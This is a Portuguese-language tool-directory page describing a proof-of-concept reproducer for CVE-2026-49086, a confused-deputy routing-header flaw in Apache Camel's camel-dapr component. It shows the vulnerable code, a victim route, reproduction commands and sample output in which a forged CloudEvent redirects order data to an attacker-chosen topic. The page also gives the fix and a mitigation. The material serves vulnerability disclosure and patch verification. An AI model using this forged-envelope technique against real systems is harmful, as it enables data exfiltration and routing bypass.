Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49086 — Reprodutor de PoC para CVE-2026-49086 demonstrando uma sobrescrita de cabeçalho de roteamento do tipo deputado confuso no camel-dapr do Apache Camel, permitindo redirecionamento de mensagens e exfiltração de dados por meio de campos CloudEvent não confiáveis. | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-49086
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHuboscerd/cve-2026-49086

CVE-2026-49086

Reprodutor de PoC para CVE-2026-49086 demonstrando uma sobrescrita de cabeçalho de roteamento do tipo deputado confuso no camel-dapr do Apache Camel, permitindo redirecionamento de mensagens e exfiltração de dados por meio de campos CloudEvent não confiáveis.

Ver Repositório
4há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Reprodutor da substituição de cabeçalho de roteamento / deputado confuso do consumidor camel-dapr (CVE-2026-49086)

Este projeto demonstra uma falha de substituição de cabeçalho de roteamento (deputado confuso) no componente camel-dapr do Apache Camel, rastreada como CVE-2026-49086.

O consumidor de pub/sub Dapr (DaprPubSubConsumer) copia campos do CloudEvent de entrada (não confiável) para os cabeçalhos de mensagem do Exchange. Duas delas — pubsubName e topic — são cabeçalhos de roteamento na direção do produtor (CamelDaprPubSubName / CamelDaprTopic). Quando a mesma rota publica posteriormente com um produtor dapr:pubSub, o DaprConfigurationOptionsProxy . Assim, o envelope de entrada, controlado por um remetente de mensagem não confiável, sobrescreve silenciosamente o destino da republicação da rota:

prefere um valor de cabeçalho ao valor configurado no endpoint
root@kitploit:~
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName());   // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC,       cloudEvent.getTopic());        // CamelDaprTopic

// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
        ? fallbackFn.get()            // endpoint config (e.g. audit-broker/audit-log)
        : exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent

Em uma rota que consome de um tópico e republica em outro (um padrão comum de auditoria/encaminhamento/fan-out), um ator que consiga publicar no tópico assinado define pubsubName/topic do CloudEvent e redireciona a mensagem republicada para um componente + tópico Dapr pub/sub arbitrários — exfiltrando o payload para um broker acessível ao atacante, ou contornando o roteamento/ACLs pretendidos. Isso é um deputado confuso: o aplicativo republica com suas próprias credenciais Dapr para um destino escolhido pelo atacante.

Este PoC demonstra o impacto como redirecionamento de mensagem / exfiltração de dados (CWE-441, a partir de CWE-20).

Aviso de segurança: https://camel.apache.org/security/CVE-2026-49086.html

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-dapr
Classe Afetadaorg.apache.camel.component.dapr.consumer.DaprPubSubConsumer (define os cabeçalhos PUBSUB_NAME/TOPIC a partir do CloudEvent de entrada)
CWECWE-20 (Validação de Entrada Incorreta) / CWE-441 (Proxy Não Intencional / Deputado Confuso)
ImpactoRedirecionar a mensagem republicada para um componente + tópico Dapr pub/sub arbitrários (exfiltração / bypass de roteamento e ACL)
Pré-condiçõesUma rota consome de um tópico dapr:pubSub e republica por meio de um produtor dapr:pubSub; o atacante pode publicar no tópico assinado
Versões Afetadas4.12.0 a 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x
Versões Corrigidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23630 (PR apache/camel#23886)
CréditoLeon Zlobecki

A correção impede que o consumidor defina os dois cabeçalhos de roteamento (CamelDaprPubSubName / CamelDaprTopic); os demais cabeçalhos de metadados do CloudEvent permanecem inalterados. O produtor passa então a usar sempre o pub/sub + tópico configurados no endpoint. (Um DaprHeaderFilterStrategy também foi adicionado para consistência do catálogo, mas a alteração no cabeçalho de roteamento é a correção efetiva.)

Por que nenhum sidecar Dapr é necessário

A vulnerabilidade está inteiramente no Camel — o consumidor copia CloudEvent.pubsubName/topic para os cabeçalhos de roteamento, e o produtor prefere esses cabeçalhos. O sidecar Dapr é apenas transporte. Este reprodutor injeta clientes mock do SDK Dapr (client=#mockClient, previewClient=#mockPreview) para que os verdadeiros DaprPubSubConsumer e DaprPubSubHandler sejam executados sem alterações e sem sidecar: o cliente preview mock captura o listener de assinatura, e o cliente mock registra o destino da publicação. O driver atacante então entrega um CloudEvent forjado ao listener capturado — exatamente o que um remetente capaz de publicar no tópico assinado dispara.

A rota vítima

root@kitploit:~
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
    .to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");

O autor pretende que toda ordem seja espelhada para o destino fixo audit-broker/audit-log. Mas, como o consumidor copia o pubsubName/topic do envelope de entrada para os cabeçalhos de roteamento, o produtor de auditoria publica para o que o envelope nomear — nunca para o fluxo de auditoria configurado.

Layout do repositório

Tudo é executado em um único contêiner autocontido.

root@kitploit:~
CVE-2026-49086/
├── pom.xml                 # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── DaprMockConfig.java       # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
    │   ├── PublishRecorder.java      # records where the producer actually published
    │   ├── SubscriptionRegistry.java # captures the consumer's subscription listener
    │   ├── VictimRoutes.java         # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
    │   └── ExploitController.java    # attacker: deliver forged CloudEvents; compare publish target
    └── resources/
        └── application.properties

Pré-requisitos

  • Docker e Docker Compose
  • Java 17+ e Maven 3.8+

Etapas de Reprodução

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Saída esperada

root@kitploit:~
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===

Route intent: mirror every order to a FIXED audit stream
    .to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")

1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
     audit copy actually published to: orders-broker / orders
     -> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.

2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
     audit copy actually published to: attacker-broker / exfil-secrets
     leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}

>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true

Correção Recomendada

Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). Após a correção, o consumidor não define mais CamelDaprPubSubName / CamelDaprTopic, portanto um produtor dapr:pubSub a jusante de um consumidor dapr:pubSub usa o componente e o tópico pub/sub configurados no endpoint.

Mitigação

Até atualizar, remova os cabeçalhos de roteamento entre o consumidor e qualquer produtor dapr:pubSub na rota (por exemplo, removeHeaders("CamelDaprPubSubName,CamelDaprTopic")) e defina o pub/sub + tópico da republicação a partir de uma fonte confiável.

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade publicamente divulgada e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta